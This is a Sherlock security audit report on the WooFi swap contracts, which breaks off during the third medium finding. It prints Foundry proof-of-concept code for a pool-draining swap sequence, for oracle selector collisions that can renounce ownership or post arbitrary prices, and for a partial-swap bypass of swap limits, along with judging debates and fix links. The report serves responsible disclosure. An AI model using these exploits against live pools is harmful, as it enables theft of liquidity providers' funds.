SHERLOCK

# SHERLOCK SECURITY REVIEW FOR

**Prepared for:** WooFi
**Prepared by:** Sherlock
**Lead Security Expert:** mstpr-brainbot
**Dates Audited:** March 12 - March 20, 2024
**Prepared on:** May 7, 2024

# Introduction

WOOFi is a cross-chain DEX where anyone can swap, stake, and earn crypto and trade perpetual futures across every major blockchain.

## Scope

Repository: woonetwork/WooPoolV2

Branch: main

Commit: f7886e8e362771fe00099872cca310e8558173dd

---

For the detailed scope, see the contest details.

## Findings

Each issue has an assigned severity:

- Medium issues are security vulnerabilities that may not be directly exploitable or may require certain conditions in order to be exploited. All major issues should be addressed.
- High issues are directly exploitable security vulnerabilities that need to be fixed.

## Issues found

| Medium | High |
|---|---|
| 8 | 1 |

## Issues not fixed or acknowledged

| Medium | High |
|---|---|
| 0 | 0 |

## Security experts who found valid issues

mstpr-brainbot
charles__cheerful
KingNFT
Bandit
hals
klaus
Ironsidesec
Dliteofficial
infect3d



SHERLOCK

Avci
petro1912
Aamirusmani1552
zraxx
yotov721
aman
Nyx

# Issue H-1: Pool can be drained

Source: https://github.com/sherlock-audit/2024-03-woofi-swap-judging/issues/68

## Found by

mstpr-brainbot

## Summary

The pool can be drained just as it was during the incident that occurred previously.

## Vulnerability Detail

`maxNotionalSwap` and `maxGamma` and the new math formula do not prevent the pool being drainable. Same attack vector that happent previously is still applicable: https://woo.org/blog/en/woofi-spmm-exploit-post-mortem https://rekt.news/woo-rekt/

Flashloan 99989999999999999990000 (99_990) WOO Sell WOO partially (in 10 pieces) assuming maxGamma | maxNotionalSwap doesnt allow us to do it in one go Sell 20 USDC and get 19977980182163947552 7975 (199_779) WOO Repay flashloan, pocket the rest of the 100K WOO.

**Coded PoC:**

```
function test_Exploit() public {
        // Flashloan 99989999999999999990000 (99_990) WOO
        // Sell WOO partially (in 10 pieces) assuming maxGamma |maxNotionalSwap
↪  doesnt allow us to do it in one go
        // Sell 20 USDC and get 19977980182163947552 7975 (199_779) WOO
        // Repay flashloan, pocket the rest of the 100K WOO.

        // Reference values:
        // s = 0.1, p = 1, c = 0.0001

        // bootstrap the pool
        uint usdcAmount = 100_0000_0_0000000000000_000;
        deal(USDC, ADMIN, usdcAmount);
        deal(WOO, ADMIN, usdcAmount);
        deal(WETH, ADMIN, usdcAmount);
        vm.startPrank(ADMIN);
        IERC20(USDC).approve(address(pool), type(uint256).max);
        IERC20(WOO).approve(address(pool), type(uint256).max);
        IERC20(WETH).approve(address(pool), type(uint256).max);
        pool.depositAll(USDC);
        pool.depositAll(WOO);
```



SHERLOCK

```
        pool.depositAll(WETH);
        vm.stopPrank();
        ////////////////////////

        // fund mr TAPIR
        vm.startPrank(TAPIR);
        uint wooAmountForTapir = 9999 * 1e18 - 1000;
        deal(WOO, TAPIR, wooAmountForTapir * 10);
        IERC20(USDC).approve(address(router), type(uint256).max);
        IERC20(WOO).approve(address(router), type(uint256).max);
        IERC20(WETH).approve(address(router), type(uint256).max);
        vm.stopPrank();
        ////////////////////////

        // get the price before the swaps
        (uint128 price, ) = oracle.woPrice(WOO);
        console.log("Price before the swap", price);

        // here, we assume maxGamma and maxNotionalSwap can save us. However,
↪   due to how AMM behaves
        // partial swaps in same tx will also work and it will be even more
↪   profitable!
        uint cumulative;
        for (uint i; i < 10; ++i) {
            vm.prank(TAPIR);
            cumulative += router.swap(WOO, USDC, wooAmountForTapir, 0,
↪   payable(TAPIR), TAPIR);
        }

        // how much we bought and what's the final swap?
        console.log("USDC bought after swaps", cumulative);
        (price, ) = oracle.woPrice(WOO);
        console.log("Price after swap", price);

        // sell 20 USDC, how much WOO we get? (19977980182163947552 7975)
        vm.prank(TAPIR);
        uint receivedWOO = router.swap(USDC, WOO, 20 * 1e6, 0, payable(TAPIR),
↪   TAPIR);
        console.log("Received WOO", receivedWOO); // 19977980182163947552 7975
↪   (10x)
        console.log("Total WOO flashloaned", wooAmountForTapir * 10); //
↪   99989999999999999990000

        // attack is succesfull
        assertGe(receivedWOO, wooAmountForTapir * 10);
    }
```



SHERLOCK

## Impact

## Code Snippet

https://github.com/sherlock-audit/2024-03-woofi-swap/blob/65185691c91541e33f84b77d4c6290182f137092/WooPoolV2/contracts/WooPPV2.sol#L420-L465

## Tool used

Manual Review

## Recommendation

## Discussion

**fb-alexcq**

This extreme price-deviation case has already been handled by price check (against Chainlink) in our Wooracle's price function.

**mstpr**

@fb-alexcq correct, but some tokens like WOO does not have chainlink price feeds in other networks, in that case the attack is feasible

**fb-alexcq**

Thanks for the feedback.

We already decided to never support any token which are unavailable in Chainlink, right after we got exploited a month ago. And this is the only way to fix it; otherwise, the project cannot run again.

**WangSecurity**

The info about not using tokens that don't have Chainlink price feeds is not in README. Moreover, the README says any standard token. Therefore, aproppriate severity is High.

**WangSecurity**

I've consulted on this issue with the Head of Judging and decided to invalidate it, since such tokens wouln't be used. The README says "any" ERC20 token, therefore, it's expected tokens without the any weird traits will be used.

**mstpr**

Escalate

Every ERC20 can be used, tokens that does not have a a chainlink price feed set is not considered as "weird" tokens as per Sherlock:

https://github.com/d-xo/weird-erc20

Also, the current scope of contracts indeed assumes that there can be tokens used that does not have chainlink price feeds https://github.com/sherlock-audit/2024-03-woofi-swap/blob/65185691c91541e33f84b77d4c6290182f137092/WooPoolV2/contracts/wooracle/WooracleV2_2.sol#L247-L255

Additionally, the README does not states that tokens that have no chainlink oracle will not be used. Though, this would be contradictory anyways since the current code has an extra logic to handle tokens without the chainlink price feed.

Also, the deployed chains are as follows in README: Arbitrum, Optimism, Base, Avalanche, BSC, Polygon PoS, Mantle, Fantom, Polygon zkEVM, zkSync, Linea There are lots of tokens that does not have chainlink price feed and have very high liquidity on some of them. For example, the WOO token has no price feeds, SOL token doesn't have price feed in Linea, zkSyncEVM, MATIC token doesn't have price feed in Linea, Scroll, Base etc.

Considering how serious the issue is and the above, this issue should be definitely considered as a high issue.

**sherlock-admin2**

> Escalate
>
> Every ERC20 can be used, tokens that does not have a a chainlink price feed set is not considered as "weird" tokens as per Sherlock: https://github.com/d-xo/weird-erc20
>
> Also, the current scope of contracts indeed assumes that there can be tokens used that does not have chainlink price feeds https://github.com/sherlock-audit/2024-03-woofi-swap/blob/65185691c91541e33f84b77d4c6290182f137092/WooPoolV2/contracts/wooracle/WooracleV2_2.sol#L247-L255
>
> Additionally, the README does not states that tokens that have no chainlink oracle will not be used. Though, this would be contradictory anyways since the current code has an extra logic to handle tokens without the chainlink price feed.
>
> Also, the deployed chains are as follows in README: Arbitrum, Optimism, Base, Avalanche, BSC, Polygon PoS, Mantle, Fantom, Polygon zkEVM, zkSync, Linea There are lots of tokens that does not have chainlink price feed and have very high liquidity on some of them. For example, the WOO token has no price feeds, SOL token doesn't have price feed in Linea, zkSyncEVM, MATIC token doesn't have price feed in Linea, Scroll, Base etc.
>
> Considering how serious the issue is and the above, this issue should be

definitely considered as a high issue.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

**WangSecurity**

Agree with everything that tapir says above, but want to note that I've consulted with the head of judging before making this decision. But, I agree that I may have phrased the problem not very clearly and will send what I've said to the head of judging about it.

My message: "in some issues the problem is that tokens don't have chainlink's price feed, but the sponsor says they will only use tokens with the feeds."

The head of judging said this doesn't sound like a vulnerability.

After that I also added: "oh, sorry, I missed for the first one, it allowed to drain the entire pool, but still it required to whitelist tokens without the price feed, which they didn't intend to do." and head of judging is reacted with a thumbs up emoji.

I don't say that tapir is wrong and agree with his reasons, therefore, I will accept it decision from the head of judging. Just wanted to note why it's invalidated.

**Czar102**

I think the fact that there are special fragments of code to handle the no oracle cases is a game-changer in this judgment. Without that detail, this would clearly be an admin misconfiguration, but it seems that tokens without a Chainlink feed were intended (or allowed) to be used.

Given that it wasn't noted anywhere (to my best knowledge) that this fragment of the code will never be used, i.e. all whitelisted tokens will have a Chainlink feed, I am planning to consider this a valid High severity issue.

**WangSecurity**

Great issue @mstpr !

**Czar102**

Result: High Unique

**sherlock-admin3**

Escalations have been resolved successfully!

Escalation status:

- mstpr: accepted

**sherlock-admin3**

The protocol team fixed this issue in the following PRs/commits:
https://github.com/woonetwork/WooPoolV2/pull/116

**sherlock-admin2**

The Lead Senior Watson signed off on the fix.

**fb-alexcq**

Fixes merged: https://github.com/woonetwork/WooPoolV2/commit/8b086a35b846bac52547abef5b8bb5a2999208bd https://github.com/woonetwork/WooPoolV2/commit/48737fcbbe315c8f835960193dd3dfdbb2b454d7

# Issue M-1: Potential damages due to incorrect implementation of the ZIP algorithm

Source: https://github.com/sherlock-audit/2024-03-woofi-swap-judging/issues/13

The protocol has acknowledged this issue.

## Found by

KingNFT

## Summary

`WooracleV2_2.fallback()` is used to post zipped token price and state data to the contract for sake of gas saving. However, the first 4 bytes of zipped data are not reserved to distinguish the `ZIP` call and other normal call's function selector. This would cause `ZIP` calls to be accidentally interpreted as any other functions in the contract, result in unintended exceptions and potential damages.

## Vulnerability Detail

According solidity's official doc, there are two forms of `fallback()` function `with` or `without` parameter

```
fallback () external [payable];
fallback (bytes calldata _input) external [payable] returns (bytes memory
↪  _output);
```

reference: https://docs.soliditylang.org/en/v0.8.12/contracts.html#fallback-function In `WooracleV2_2` contract, the second form is used, but the implementation misses an important note from the above doc

> If the version with parameters is used, _input will contain the full data sent to the contract (equal to msg.data)

As the `_input` data is equal to `msg.data`, the solidity compiler would firstly check if first 4 bytes matches any normal function selectors, and would only execute `fallback(_input)` while no matching. Therefore, in zipped data, the first 4 bytes must be set to some reserved function selector, such as `0x00000000`, with no collision to normal function selectors. And the real zipped data then starts from 5th byte.

The following coded PoC shows cases that the zipped data is accidentally interpreted as:

function renounceOwnership(); function setStaleDuration(uint256); function postPrice(address,uint128); function syncTS(uint256);

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import {Test} from "../../lib/forge-std/src/Test.sol";
import {console2} from "../../lib/forge-std/src/console2.sol";
import {WooracleV2_2} from "../../contracts/wooracle/WooracleV2_2.sol";

contract WooracleZipBugTest is Test {
    WooracleV2_2 public oracle;

    function setUp() public {
        oracle = new WooracleV2_2();
    }

    function testNormalCase() public {
        /* reference:
            File: test\typescript\wooraclev2_zip_inherit.test.ts
            97:     function _encode_woo_price() {
            op = 0
            len = 1
            (base, p)
            base: 6, woo token
            price: 0.23020
            23020000 (decimal = 8)
        */
        uint8 base = 6;
        bytes memory zip = _makeZipData({
            op: 0,
            length: 1,
            leadingBytesOfBody: abi.encodePacked(base, uint32((2302 << 5) + 4))
        });
        (bool success, ) = address(oracle).call(zip);
        assertEq(success, true);
        address wooAddr = oracle.getBase(6);
        (uint256 price, bool feasible) = oracle.price(wooAddr);
        assertEq(price, 23020000);
        assertTrue(feasible);
    }

    function testCollisionWithRenounceOwnership() public {
        // selector of "renounceOwnership()": "0x715018a6"
        bytes memory zip = _makeZipData({
            op: 1,
            length: 0x31,
```

```
            leadingBytesOfBody: abi.encodePacked(hex"5018a6")
        });
        assertEq(oracle.owner(), address(this));
        (bool success, ) = address(oracle).call(zip);
        assertEq(success, true);
        assertEq(oracle.owner(), address(0));
    }

    function testCollisionWithSetStaleDuration() public {
        // selector of "setStaleDuration(uint256)": "0x99235fd4"
        bytes memory zip = _makeZipData({
            op: 2,
            length: 0x19,
            leadingBytesOfBody: abi.encodePacked(hex"235fd4")
        });
        assertEq(oracle.staleDuration(), 120); // default: 2 mins
        (bool success, ) = address(oracle).call(zip);
        assertEq(success, true);
        uint256 expectedStaleDuration;
        assembly {
            expectedStaleDuration := mload(add(zip, 36))
        }
        assertEq(oracle.staleDuration(), expectedStaleDuration);
        assertTrue(expectedStaleDuration != 120);
    }

    function testCollisionWithPostPrice() public {
        // selector of "postPrice(address,uint128)": "0xd5bade07"
        bytes memory addressAndPrice = abi.encode(address(0x1111), uint256(100));
        bytes memory zip = _makeZipData({
            op: 3,
            length: 0x15,
            leadingBytesOfBody: abi.encodePacked(hex"bade07", addressAndPrice)
        });
        (bool success, ) = address(oracle).call(zip);
        assertEq(success, true);
        (uint256 price, bool feasible) = oracle.price(address(0x1111));
        assertEq(price, 100);
        assertTrue(feasible);
    }

    function testCollisionWithSyncTS() public {
        // selector of "syncTS(uint256)": "4f1f1999"
        uint256 timestamp = 12345678;
        bytes memory zip = _makeZipData({
            op: 1,
            length: 0xf,
```

```
            leadingBytesOfBody: abi.encodePacked(hex"1f1999", timestamp)
        });
        (bool success, ) = address(oracle).call(zip);
        assertEq(success, true);
        assertEq(oracle.timestamp(), timestamp);
    }

    function _makeZipData(
        uint8 op,
        uint8 length,
        bytes memory leadingBytesOfBody
    ) internal returns (bytes memory result) {
        assertTrue(length < 2 ** 6);
        assertTrue(op < 4);
        bytes1 head = bytes1(uint8((op << 6) + (length & 0x3F)));
        uint256 sizeOfItem = op == 0 || op == 2 ? 5 : 13;
        uint256 sizeOfHead = 1;
        uint256 sizeOfBody = sizeOfItem * length;
        assertTrue(sizeOfBody >= leadingBytesOfBody.length);
        result = bytes.concat(head, leadingBytesOfBody,
↪   _makePseudoRandomBytes(sizeOfBody - leadingBytesOfBody.length));
        assertEq(result.length, sizeOfHead + sizeOfBody);
    }

    function _makePseudoRandomBytes(uint256 length) internal returns (bytes
↪   memory result) {
        uint256 words = (length + 31) / 32;
        result = new bytes(words * 32);
        for (uint256 i; i < words; ++i) {
            bytes32 rand = keccak256(abi.encode(block.timestamp + i));
            assembly {
                mstore(add(add(result, 32), mul(i, 32)), rand)
            }
        }

        assembly {
            mstore(result, length) // change to required length
        }
        assertEq(length, result.length);
    }
}
```

And the logs:

```
2024-03-woofi-swap\WooPoolV2> forge test --match-contract WooracleZipBugTest -vv
```

```
[] Compiling...No files changed, compilation skipped
[] Compiling...

Running 5 tests for test/foundry/WooracleZipBug.t.sol:WooracleZipBugTest
[PASS] testCollisionWithPostPrice() (gas: 48643)
[PASS] testCollisionWithRenounceOwnership() (gas: 21301)
[PASS] testCollisionWithSetStaleDuration() (gas: 18289)
[PASS] testCollisionWithSyncTS() (gas: 35302)
[PASS] testNormalCase() (gas: 48027)
Test result: ok. 5 passed; 0 failed; 0 skipped; finished in 2.13ms

Ran 1 test suites: 5 tests passed, 0 failed, 0 skipped (5 total tests)
```

## Impact

This bug would result in unintended exceptions and potential damages such as:

1) Collision with normal price post functions might cause users' trades executed on incorrect price and suffer losses.
2) Collision with any view function might cause price post to fail silently and hold on trade processing until next submission, and users' trades might be executed on a delayed inexact price.
3) Collision with `setStaleDuration()` might cause price freshness check to break down.

## Code Snippet

https://github.com/sherlock-audit/2024-03-woofi-swap/blob/main/WooPoolV2/contracts/wooracle/WooracleV2_2.sol#L394

## Tool used

Manual Review

## Recommendation

```
diff --git a/WooPoolV2/contracts/wooracle/WooracleV2_2.sol
↪  b/WooPoolV2/contracts/wooracle/WooracleV2_2.sol
index 9e66c63..4a9138f 100644
--- a/WooPoolV2/contracts/wooracle/WooracleV2_2.sol
+++ b/WooPoolV2/contracts/wooracle/WooracleV2_2.sol
@@ -416,9 +416,10 @@ contract WooracleV2_2 is Ownable, IWooracleV2 {
         */
```



SHERLOCK

```
         uint256 x = _input.length;
-        require(x > 0, "WooracleV2_2: !calldata");
+        require(x > 4, "WooracleV2_2: !calldata");
+        require(bytes4(_input[0:4]) == bytes4(hex"00000000"));

-        uint8 firstByte = uint8(bytes1(_input[0]));
+        uint8 firstByte = uint8(bytes1(_input[5]));
         uint8 op = firstByte >> 6; // 11000000
         uint8 len = firstByte & 0x3F; // 00111111

@@ -428,12 +429,12 @@ contract WooracleV2_2 is Ownable, IWooracleV2 {
             uint128 p;

             for (uint256 i = 0; i < len; ++i) {
-                base = getBase(uint8(bytes1(_input[1 + i * 5:1 + i * 5 + 1])));
-                p = _decodePrice(uint32(bytes4(_input[1 + i * 5 + 1:1 + i * 5 +
 ↪  5])));
+                base = getBase(uint8(bytes1(_input[5 + i * 5:5 + i * 5 + 1])));
+                p = _decodePrice(uint32(bytes4(_input[5 + i * 5 + 1:5 + i * 5 +
 ↪  5])));
                 infos[base].price = p;
             }

-            timestamp = (op == 0) ? block.timestamp :
 ↪  uint256(uint32(bytes4(_input[1 + len * 5:1 + len * 5 + 4])));
+            timestamp = (op == 0) ? block.timestamp :
 ↪  uint256(uint32(bytes4(_input[5 + len * 5:5 + len * 5 + 4])));
         } else if (op == 1 || op == 3) {
             // post states list
             address base;
@@ -442,14 +443,14 @@ contract WooracleV2_2 is Ownable, IWooracleV2 {
             uint64 k;

             for (uint256 i = 0; i < len; ++i) {
-                base = getBase(uint8(bytes1(_input[1 + i * 9:1 + i * 9 + 1])));
-                p = _decodePrice(uint32(bytes4(_input[1 + i * 9 + 1:1 + i * 9 +
 ↪  5])));
-                s = _decodeKS(uint16(bytes2(_input[1 + i * 9 + 5:1 + i * 9 +
 ↪  7])));
-                k = _decodeKS(uint16(bytes2(_input[1 + i * 9 + 7:1 + i * 9 +
 ↪  9])));
+                base = getBase(uint8(bytes1(_input[5 + i * 9:5 + i * 9 + 1])));
+                p = _decodePrice(uint32(bytes4(_input[5 + i * 9 + 1:5 + i * 9 +
 ↪  5])));
+                s = _decodeKS(uint16(bytes2(_input[5 + i * 9 + 5:5 + i * 9 +
 ↪  7])));
```



SHERLOCK

```
+                k = _decodeKS(uint16(bytes2(_input[5 + i * 9 + 7:5 + i * 9 +
↪  9])));
                 _setState(base, p, s, k);
             }

-            timestamp = (op == 1) ? block.timestamp :
↪  uint256(uint32(bytes4(_input[1 + len * 9:1 + len * 9 + 4])));
+            timestamp = (op == 1) ? block.timestamp :
↪  uint256(uint32(bytes4(_input[5 + len * 9:5 + len * 9 + 4])));
         } else {
             revert("WooracleV2_2: !op");
         }
```

## Discussion

**fb-alexcq**

- First your suggested issue right; it may have function collisions. Thanks for pointing it out.
- More importantly, the frequency is negligible. We have 30 functions there, so collision probability is 30/(2^32) = 0.000000006984919; We typically update our Wooracle in 5 seconds, so a collision only happen once every 1000,000,000 seconds , that is 31 years: https://calculat.io/en/date/seconds/1000000000
- From engineering perspective: we utilize this zip fallback function to save calldata's gas consumption, so it's impossible to add another plain 4 bytes to only avoid collision. Even with collusion, our offline script can catch the tx failure and resend it again, it won't cause any disaster.

# Issue M-2: Selling partial base tokens are more profitable then selling in one go

Source: https://github.com/sherlock-audit/2024-03-woofi-swap-judging/issues/20

The protocol has acknowledged this issue.

## Found by

Bandit, mstpr-brainbot

## Summary

Selling base tokens partially instead of one go is always more profitable

## Vulnerability Detail

First, let's write down our formulas of sellBase tokens for quoteTokens: g: gamma s: spread c: coefficient p: price np: new price (price after selling base tokens)

**g = deltaBase * p * c deltaQuote = deltaBase * p * (1 - (g + s)) np = p * (1 - g)**

Code snippet for the above formulas: https://github.com/sherlock-audit/2024-03-woofi-swap/blob/65185691c91541e33f84b77d4c6290182f137092/WooPoolV2/contracts/WooPPV2.sol#L591-L619

Here I graphed both `sellQuote` and `sellBase` functions: https://www.desmos.com/calculator/svmjlxhavw

As we can observe, if the price is >1 then the selling base tokens (red in the graph) will start decreasing after it reaches the middle value. Same happens vice versa when price is <1 for selling quote tokens (blue in the graph). This heavily incentivise smaller swaps and heavily disincentives bigger swaps. Also, since selling smaller amounts are ALWAYS more profitable, `maxGamma` and `maxNotionalSwap` values can be bypassed without a loss (even for profits)

**Textual PoC:** Now, let's do a textual example to see whether selling 20 base tokens is profitable then selling 2 times 10 base tokens For this example, let's assume: p = 1 c = 0.01 s = 0.1 and there are no swap fees for simplicity.

First, let's sell 20 base tokens: g = 20 * 1 * 0.01 = 0.2 deltaQuote = 20 * 1 * (1 - (0.1 + 0.1)) = 14 **quote tokens received will be 14**

Now, let's sell 10 base tokens in 2 times in a single transaction: g1 = 10 * 1 * 0.01 = 0.1 deltaQuote1 = 10 * 1 * (1- (0.1 + 0.1)) = 8 np = 1 * (1 - 0.1) = 0.9 **received 8 quote tokens in first sell of 10 base tokens**

g2 = 10 * 0.9 * 0.01 = 0.09 deltaQuote2 = 10 * 0.9 * (1 - (0.1 + 0.09)) = 7.29 **received 7.29 quote tokens in second sell of 10 base tokens**

**in total 7.29 + 8 = 15.29 quote tokens received! however, if we were to swap 10 tokens in one go we would end up with 14 quote tokens!**

This also means that swaps that are not possible because of `maxNotionalSwap` can be divided into partial swaps and the end result would be even higher! If the `maxNotionalSwap` is 100K USDC, someone can swap 2 times 50K USDC to receive even higher amount of quote tokens! Hence, the exploit that happent to WooFi would still be possible and even worse since the partial swaps are better than single go.

Here a test where it compares selling 1000 WETH in one go, 500-500 and 1-1-1-... 1000 times in a single tx:

```
// @dev fee is "100", coeff = 0.000000001 * 1e18, spread = 0.001 * 1e18 as in
↪  the tests
    // setting fee to a different value is not relevant, attack is still there,
↪  just slighly less profitable

    // @dev sell 1000 in single tx
    function test_SellBase1Part() public {
        uint sellWethAmount = 1000 * 1e18;
        _fundAndApproveAdminAndTapir(1000_0000 * 1e6, sellWethAmount);

        vm.prank(TAPIR);
        uint receivedUSDC = router.swap(WETH, USDC, sellWethAmount, 0,
↪  payable(TAPIR), TAPIR);

        console.log("Received USDC", receivedUSDC);
        console.log("contract usdc balance",
↪  IERC20(USDC).balanceOf(address(pool)));
    }

    // @dev sell 500-500 in single tx
    function test_Sell2Parts() public {
        uint sellWethAmount = 1000 * 1e18;
        _fundAndApproveAdminAndTapir(1000_0000 * 1e6, sellWethAmount);

        uint cumulative;
        for (uint i; i < 2; ++i) {
            // sell 5 wei dust
            vm.prank(TAPIR);
            uint receivedUSDC = router.swap(WETH, USDC, sellWethAmount / 2, 0,
↪  payable(TAPIR), TAPIR);
            (uint128 price, ) = oracle.woPrice(WETH);
```

```
            cumulative += receivedUSDC;
        }

        console.log("Received USDC", cumulative);
        console.log("contract usdc balance",
↪   IERC20(USDC).balanceOf(address(pool)));
    }

    // @dev sell 1-1-1-1.... in single tx
    function test_Sell1000Parts() public {
        uint sellWethAmount = 1000 * 1e18;
        _fundAndApproveAdminAndTapir(1000_0000 * 1e6, sellWethAmount);

        uint cumulative;
        for (uint i; i < 1000; ++i) {
            // sell 5 wei dust
            vm.prank(TAPIR);
            uint receivedUSDC = router.swap(WETH, USDC, sellWethAmount / 1000,
↪   0, payable(TAPIR), TAPIR);
            (uint128 price, ) = oracle.woPrice(WETH);
            cumulative += receivedUSDC;
        }

        console.log("Received USDC", cumulative);
        console.log("contract usdc balance",
↪   IERC20(USDC).balanceOf(address(pool)));
    }
```

**Results:** Selling 500-500 instead of 1000 in one go: 3395.800042 USDC more received Selling 1-1-1-1-... 1000 times instead 1000 in one go: 6776.505788 USDC more received!

## Impact

Breaking the `maxNotionalSwap` amount and unfair AMM model

## Code Snippet

## Tool used

Manual Review

## Recommendation

## Discussion

**fb-alexcq**

Thanks for the feedback. This is a known scope when designing our SPMM formula. Again we want to follow up with:

1. Seems like you're not considering the swap fee
2. Split into multiple small swaps, only can save users from huge slippage, but it won't cause our protocol lose funds, right? 1000 times for 1 each looks like still not profitable to the attacker, right?

**mstpr**

The protocol will not lose funds, correct. However, the maxGamma and maxNotionalSwap variables will be rendered useless since partial swaps can be used to bypass these checks, making it even profitable to do so.

**fb-alexcq**

This extreme price-deviation case has already been handled by price check (against Chainlink) in our Wooracle's `price` function.

**WangSecurity**

Initially, it was a duplicate of 68, but these are different issues and it presents an unfair formule, therefore, we decided to keep this one as valid.

**WangSecurity**

Sponsor said that this AMM model is in fact intended, cause 99% of their swaps are small. But, it wasn't mentioned in the README, therefore, we validate this report as Med due to validation of maxGamma and maxNotionalSwap (core functionality break).

**Banditx0x**

@mstpr I believe the protocol does actually lose funds here:

- The protocol acts as the liquidity provider
- The net-result for a trader and LP in a trade is zero-sum.
- If a trader unfairly avoids slippage by gaming the AMM formula, each $ saved by the trader is lost by the LP

Lmk your thoughts

**Banditx0x**

@fb-alexcq in response to something you brought up in issue 20 (duplicate):

> Thanks for the feedback.
>
> Technically it is okay to avoid huge slippage by splitting into small swaps, right? BTW, is there a way for attacker to get profits (instead of saving the loss) from the split swap? Better to consider there's a 2-5 bps swap fee.

I would like to emphasie that although splitting a very large swap into smaller ones reduces slippage in basically all AMM's, this slippage reduction is due to a trade in between swaps arbitraging the price of the AMM back to the correct price in between your multiple swaps. This is a core invariant of all widely used AMM formulas, and has significant second order consequences as detailed in issue #47 . Woofi's current formula is different from **any** widely used AMM formula in that it requires no -inbetween price corrections to get this slippage discount.

For example, in Uniswap v2, Uniswap v3, Curve, Balancer etc it doesn't matter if you swap 100 tokens or 1 token 100 times. As long as *no transactions happen in between*, the tokens returned will be the same.

I'd highly reccomend going back to the old formula which was consistent with this invariant unless it allows another type of vulnerability.

**Banditx0x**

Escalate.

I think it's high severity for above reasons.

Please consider this issue along with the reasoning provided in #47 . I believe me and @mstpr are providing different perspectives to the issue despite the same root cause.

Note that #47 demonstrates an example with a 2% slippage, and will continue to apply at lower slippage %'s so this actually applies even when 99% of the swaps are small.

> Seems like you're not considering the swap fee

Addressing this: the swap fee is a percentage of the swap size. Therefore splitting a swap into multiple smaller swaps will result in basically the same sum of swap fees.

The formula allows certain users (one's that optimise and perfectly calculate swap splitting) a lower slippage. Normal users that use the User Interface or don't perfectly calculate their split sizes don't get the same privilege. Giving extremely advanced users lower AMM prices than everybody else is equivalent to loss of funds for the not-so-savvy swappers.

**sherlock-admin2**

> Escalate.

> I think it's high severity for above reasons.
>
> Please consider this issue along with the reasoning provided in #47 . I believe me and @mstpr are providing different perspectives to the issue despite the same root cause.
>
> Note that #47 demonstrates an example with a 2% slippage, and will continue to apply at lower slippage %'s so this actually applies even when 99% of the swaps are small.
>
> > Seems like you're not considering the swap fee
>
> Addressing this: the swap fee is a percentage of the swap size. Therefore splitting a swap into multiple smaller swaps will result in basically the same sum of swap fees.
>
> The formula allows certain users (one's that optimise and perfectly calculate swap splitting) a lower slippage. Normal users that use the User Interface or don't perfectly calculate their split sizes don't get the same privilege. Giving extremely advanced users lower AMM prices than everybody else is equivalent to loss of funds for the not-so-savvy swappers.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

**mstpr**

@Banditx0x

If this is design choice, then someone making partial swaps will get more tokens, and yes, this would be loss of funds. Additionally, the maxGamma and maxNotionalSwap can easily be bypassed.

Example: If selling 10 base tokens should receive 5 quote tokens, and if someone selling 2-2-2-2-2 base tokens and receives 7 quote tokens at the end, than the 2 quote tokens would be the loss of protocol since they don't want this to happen in their AMM. Hence, high could be considered.

I think you are right with your comments, if this is design choice, then high would be appropriate.

**WangSecurity**

I believe it should remain medium cause, essentially, it is expected behaviour by the protocol which was confirmed by the sponsor. But, I believe breaking maxGamma

and maxNotionalSwap is breaking core functionality, therefore, it's medium and not enough for a high.

I don't say that watsons above are wrong, I see and understand their points and will accept any decision by the head of judging.

**Czar102**

Kudos to @Banditx0x @mstpr for the deep understanding of the math.

As much as I like this finding, I don't think it presents a loss of funds per se, and there are no earnings to the "exploiters", the total (and marginal!) slippage still increases as more volume goes in any way. This is a math inconsistency, and I would be considering it as a borderline Low/Medium severity issue.

Given that an escalation only exists to increase the severity, I'm planning to reject it and leave the issue as is, and I will not consider downgrading this issue.

**fb-alexcq**

@mstpr @Banditx0x thanks for detailed follow and explanation.

Could you please send me the whole file of your foundry test, so that I can run it here in my environment? so that to better verify your raised issues.

BTW, could you also try your attach vector on our newly deployed WooPP going live this Monday?
https://arbiscan.io/address/0xed9e3f98bbed560e66b89aac922e29d4596a9642
Is that possible to profit or swap for more tokens here in our new version?

**mstpr**

@fb-alexcq I plugged in the numbers from deployment to my desmos graph. With current values, if someone swaps 14_350 BTC they get "0" usdc token in exchange.

Another example: if you sell 1M USDC in one go you get: 14.41563574 WBTC

if you sell 1M USDC in 1000 iterations (1000, 1000, 1000....) you get: 14.42278414 WBTC

the difference is 0.0071484 WBTC, 500$

test (directly points the current deployment shared above)
https://gist.github.com/mstpr/0a099688cb48cdc6bec42ceb1c322e8c

**fb-alexcq**

OK. Cool, Thanks.

This result is with Chainlink Oracle Guardian (+-5%) set up right ?

**mstpr**

> Kudos to @Banditx0x @mstpr for the deep understanding of the math.
>
> As much as I like this finding, I don't think it presents a loss of funds per se, and there are no earnings to the "exploiters", the total (and marginal!) slippage still increases as more volume goes in any way. This is a math inconsistency, and I would be considering it as a borderline Low/Medium severity issue.
>
> Given that an escalation only exists to increase the severity, I'm planning to reject it and leave the issue as is, and I will not consider downgrading this issue.

What about looking at this angle?

If this is design choice, then swapping 1M USDC should result at 10 BTC. However, if you swap partially up to 1M USDC then you will end up with say 100 BTC. This 90 BTC difference is basically loss of funds for Woofi considering their design choice, right?

**Czar102**

@mstpr this is not a design choice, this is a math inconsistency, as I noted above.

As long as "it's fine" for the user to get 100 BTC for 1m USDC, then it's not loss of funds, but suboptimal strategy of the 1M USDC <> 10 BTC swapper. But given that the discrepancy in this case is rather minimal (we won't have 90% slippage), I stand by my previous comment.

**Czar102**

Result: Medium Has duplicates

**sherlock-admin3**

Escalations have been resolved successfully!

Escalation status:

- banditx0x: rejected

## Issue M-3: Price manipulation by swapping any `baseToken` with itself

Source: https://github.com/sherlock-audit/2024-03-woofi-swap-judging/issues/32

### Found by

Ironsidesec, KingNFT, klaus

### Summary

`WooPPV2.swap()` doesn't forbid the case that `fromToken == toToken == baseToken`, attackers can make any `baseToken`'s price unboundedly drifting away by swapping with self.

### Vulnerability Detail

The issue arises due to incorrect logic in `WooPPV2._swapBaseToBase()`:

1. Firstly, we can see the situation that `fromToken == toToken == baseToken` can pass the checks on L521~L522.
2. `baseToken`'s state & price is cached in memory on L527~L528, and updated first time on L541, but the price calculation on L555 still uses the cached state, and the `newBase2Price` is set to `wooracle` on L556 as the final price after the swap.

